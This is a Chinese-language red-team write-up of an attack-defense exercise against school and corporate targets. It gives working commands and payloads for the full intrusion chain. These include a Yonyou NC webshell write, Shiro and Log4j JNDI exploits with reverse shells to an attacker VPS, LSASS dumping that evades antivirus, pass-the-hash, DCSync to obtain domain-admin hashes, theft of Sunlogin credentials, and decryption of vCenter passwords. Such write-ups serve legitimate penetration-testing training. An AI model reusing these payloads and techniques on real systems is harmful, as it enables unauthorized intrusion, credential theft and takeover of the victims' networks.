記一次攻防演練過程實戰總結
0x01 外網打點
資產發現
多測繪平臺搜索
https://hunter.qianxin.com/
https://fofa.info/
https://quake.#/


多語法搜索
假如某個目標站點為xxxx.com ,我們可以通過不同的語法進行資產搜集,搜集的資產會更全面
這里以fofa為例
domain="xxxx.com" host="xxxx.com" header="xxxx.com" cert="xxxx.com"
敏感信息泄露
對于學校站點的信息搜集,一般來說外網能拿直接權限的點已經很少了,web應用大多是放在vpn后面,因此能弄到一個vpn賬號可以說是事半功倍,這時候可以通過語法對此類信息進行挖掘
常用命令如下:
#google語法 site:*.edu.cn intext: vpn | 用戶名 | 密碼 | 帳號 | 默認密碼 #github *.edu.cn password

在這次攻防演練里,也是幸運找到了某站點VPN的默認口令,使用的是 姓名拼音/12345678 弱口令

默認口令
對于部分站點,在搭建完成后可能沒有更改默認賬號密碼,這時候可以嘗試使用默認賬密登錄
下面列舉一些常見的web站點默認口令
賬號: admin administrator root user test 密碼: admin admin123 123456 123 test root
對于一些應用廣泛的系統,可以通過google語法搜索其默認密碼

這里通過sysadmin/1 成功登入泛微后臺

nacos/nacos

常見漏洞利用
對于多目標的攻防演練,個人比慣把目標子域url搜集好,去重后批量導進去指紋識別工具,如Goby、fofahub
從指紋識別結果里篩選出重要資產進行突破,使用已知漏洞或day進行攻擊
以下為一些批量漏洞利用工具:
https://github.com/Anonymous-ghost/AttackWebFrameworkTools-5.0
https://github.com/d3ckx1/Fvuln
https://github.com/W01fh4cker/Serein
框架類的如log4j、shiro、struts2等
OA類的如致遠、泛微、用友、藍凌等,這里也是找到了目標的用友nc站點
用友nc寫shell

訪問接口/servlet/~ic/bsh.servlet.BshServlet執行命令

dnslog探測了一下發現不出網,這里直接寫入webshell
1、首先生成一個哥斯拉的jsp木馬,然后進行unicode編碼

2、再把輸出結果進行url編碼

3、payload字段如下,這里寫入默認路徑為 webapps/nc_web ,實戰中靈活應變
String keyWord = URLDecoder.decode("xxxxxx(填入生成內容)xxxxxx", "utf-8");
BufferedWriter out = new BufferedWriter(new FileWriter("/webapps/nc\_web/test.jsp"));
out.write(keyWord);
out.close();
這里直接寫入哥斯拉馬,連接成功

shiro無依賴鏈利用
通過測繪平臺找到一個比較偏的資產,直接訪問是一個靜態頁面,但掃描目錄后指紋識別一波發現是shiro
直接使用shiro_attack_2.2工具開沖,發現有默認key但是無利用鏈

可能有些人看到這里就放棄了,但這可能會錯過一個利用點
shiro可以無依賴鏈利用,感覺有戲嘗試一波,相關知識可拜讀師傅的文章https://www.le1a.com/posts/a5f4a9e3
這里換用其他工具

通過dnslog測試有回顯,這里有個注意點:使用 http://dnslog.cn/ 部分站點會攔截,可以換多個dnslog平臺測試

dnslog有回顯接下來就是拿shell了,這里由于固定思維,之前遇到的都是linux系統,先入為主覺得是Linux,結果沒利用成功,一開始以為是防火墻攔截,后面探測了一下目錄結構,發現是windows,所以這里payload要改變一下
這里可以通過網站快速生成payload
https://x.hacking8.com/java-runtime.html
Linux:
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils1 "bash -c {echo,字段}|{base64,-d}|{bash,-i}"
字段=bash -i >& /dev/tcp/x.x.x.x/8888 0>&1 base64后的值
nc -lvp 端口
Windows:
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址
java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p"
d2hvYW1p為命令的base64,這里是執行命令whoami

0x02 內網滲透
殺軟識別
拿到一臺機器后,一般先看一下安裝了什么安全防護產品
tasklist /svc

探測了一下發現安裝了360,把之前準備好的bypass360馬子扔上去,成功上線

隧道搭建
ping了一下發現機器出網,可以上frp搭建反向代理隧道

proxifier配置相應的端口賬密便可以進入內網

橫向思路
1、優先拿運維機器,一般存放著大量的賬號密碼信息
2、其次是集權設備,Vcenter、堡壘機、天擎這些,有day上day,沒day尋找其他方法
3、有域的情況下,爭取拿到域管hash,或者通過已知漏洞拿下域控
橫向移動
在掃描之前,可以先通過netspy篩選可達的網段再進行掃描
https://github.com/shmilylty/netspy

接著上fscan對可達各個C段開掃,追求效率可只掃描22、80、443、445、1433、8080等重點端口
由于掃描會引起安全設備告警,因此橫向盡可能在一小時內結束,避免入口機器被關機下線,對于拿到的機器可以通過計劃任務進行維權,盡可能多拿幾臺機器保證口子不會掉,拿到機器后繼續做信息搜集,網段,機器信息,敏感文件,xshell、navicat密碼等常規的這里就不細說了
dump lssas
正常沒有殺軟我們可以通過mimikatz抓取密碼
但很多時候mimikatz會被攔截,這時候可以通過一些LOLBINS方法dump出來本地解

這里使用的dump64.exe為白程序,位置位于
C:\Program Files (x86)\Microsoft Visual Studio\Installer\Feedback\
dump64.exe pid c:\\users\\xxx\\Desktop\\out.dmp
測試可過360和火絨


密碼復用
08機器之前可以抓到明文,抓不到明文可以嘗試到cmd5上進行破解,破解率較高
https://www.cmd5.com
https://www.somd5.com
獲取密碼之后可以通過超級弱口令工具進行密碼復用爆破,拿著獲取的密碼重新組合字典,對網段內的機器進行爆破,這次也是成功拿下了幾十臺機器

若hash解不出來,這時候我們可以根據開放的端口進行PTH,下面列舉一些
wmiexec 135端口 psexec 445端口 evil-winrm 5985端口
向日葵讀取密碼
拿到機器的賬號密碼之后,若機器開啟了3389端口可以選擇rdp遠程桌面過去,沒開的話可以開啟3389端口進行遠程連接
#執行以下命令操作注冊表來開啟機器3389遠程桌面服務 REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG\_DWORD /d 00000000 /f #使用以下命令添加防火墻放行策略 netsh firewall add portopening protocol = TCP port = 3389 name = rdp
但如果是正常辦公時間,貿然登錄過去會很容易引起對方的發現,若進程中有sunlogin進程,可以讀取識別碼和驗證碼,通過向日葵連接相對比較隱蔽

注冊表讀取配置信息:
reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginInfo reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginGreenInfo 向日葵默認配置文件路徑: 安裝版:C:\\Program Files\\Oray\\SunLogin\\SunloginClient\\config.ini 便攜版:C:\\ProgramData\\Oray\\SunloginClient\\config.ini 本機驗證碼參數:encry\_pwd 本機識別碼參數:fastcode(去掉開頭字母) sunlogincode:判斷用戶是否登錄狀態
讀注冊表:

讀默認配置文件:
fastcode去掉前面的數字k為本機識別碼278263893

使用腳本進行解密獲得本機驗證碼

運維機
橫向的時候優先拿運維機,一般運維機存儲著大量的賬號密碼信息,比如這次無意中發現的運維機器使用的是弱口令administrator/111111
另外還可以通過cs插件查看機器歷史登錄IP對運維人員進行鎖定
拿下后可通過命令行快速收集服務器、網絡拓撲、密碼本、公司信息等重要文件。
dir /a /s /b d:\\" \*.txt" dir /a /s /b d:\\"\* pass \*" dir /a /s /b d:\\"\* login \*" dir /a /s /b d:\\"\* user \*" dir /a /s /b c:\\password.txt dir /a /s /b c:\\\*.conf \*.ini\* .inc\* .config dir /a /s /b c:\\conf.\* config.\* dir /a /s /b c:\\\*.txt \*.xls\* .xlsx\* .docx | findstr "拓撲" dir /a /s /b c:\\\*.conf \*.ini\* .inc\* .config | findstr "運維" dir /a /s /b c:\\\*.txt \*.xls\* .xlsx\* .docx | findstr "密碼" >C:\\Users\\1.txt
最后收集了一堆密碼本,可登錄到各重要系統:
H3C堡壘機

禪道

域控
1、通過fscan掃描的時候可以檢索AD關鍵字發現域控
[*]192.168.10.38 #非真實域控ip [->]D1-Prod-AD-P01 [->]192.168.10.38 [*]192.168.10.20 #非真實域控ip [->]AD [->]192.168.10.20
2、域內主機 DNS 一般就是域控地址
接著可以通過該機器是否開放53和389端口進行進一步確認
這次攻防演練的其中一個目標,通過密碼復用爆破成功的某臺機器里,剛好存在著域管進程,提權到system權限后注入到域管進程,通過Dcsync成功獲取域管密碼的hash值,其中一個被禁用的賬戶剛好可以通過cmd5解出,解出明文密碼并激活賬戶,成功登錄兩臺域控機器,除此以外還可以嘗試域漏洞、NTLM中繼等
net group "domain admins" /domain dcsync domain xxxx shell net user xxxx shell net user xxxx /active:yes /domain


Vcenter
在掃描的過程中發現幾臺Vcenter,Vcenter常規有三種打法,分別是
CVE-2021-22005-rce、CVE-2021-21972-rce和log4j
前兩個測試沒成功,log4j通過dnslog探測漏洞存在,vcenter的漏洞觸發點在xff頭部
java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1389 -p 8889 -i 0.0.0.0
nc -lvp 9000
${jndi:ldap://VPSIP:1389/Deserialization/CommonsBeanutils1/ReverseShell/VPSIP/9000}


但一般打完是非交互式shell,沒有回顯,這里使用命令切換為交互式shell
python -c 'import pty;pty.spawn('/bin/bash')'
重置密碼
/usr/lib/vmware-vmdir/bin/vdcadmintool
不重置密碼獲取密碼
https://github.com/shmilylty/vhost_password_decrypt
#獲取vc用戶的密碼 cat /etc/vmware-vpx/vcdb.properties #把加密后的密碼單獨拿出來, psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip\_address,user\_name,password from vpx\_host;" > password.enc #改成這種格式\* H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==\* zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==\* Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==\* R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA== #拿解密key cat /etc/vmware-vpx/ssl/symkey.dat Windows:C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx\\ssl\\symkey.dat Linux:/etc/vmware-vpx/ssl/symkey.dat #破解 python decrypt.py symkey.dat password.enc pass.txt
然后就可以登入web控制臺了


云管平臺
通過運維機的xshell查找歷史記錄拿下了主備數據庫,然后執行sql語句成功獲取出了云管平臺的hash

到cmd5上進行解密,一塊錢拿下云管平臺很劃算


但某些系統加密方式不是使用md5的,比如之前碰到的一些系統使用的是Bcrypt加密方式,像這種不可逆的加密方式可以通過替換hash進行登錄
$2a$10$z0hHT9rltH59VvcazrSzOuVDNr05shwja1aZmD8ctzDbuNNvdpNIS


官網
當我們拿到集權設備后,一般里面會有靶標系統或核心系統,這些分數是很高的,這次演練某目標就是通過云管平臺登錄官網機器,抓取瀏覽器密碼成功獲取后臺密碼,成功拿下官網控制權

gitlab倉庫
根據評分規則刷完路徑分之后,可以根據目標性質找一些核心關鍵的系統跟裁判battle,像這種存有大量代碼的倉庫可以作為重大成果進行提交.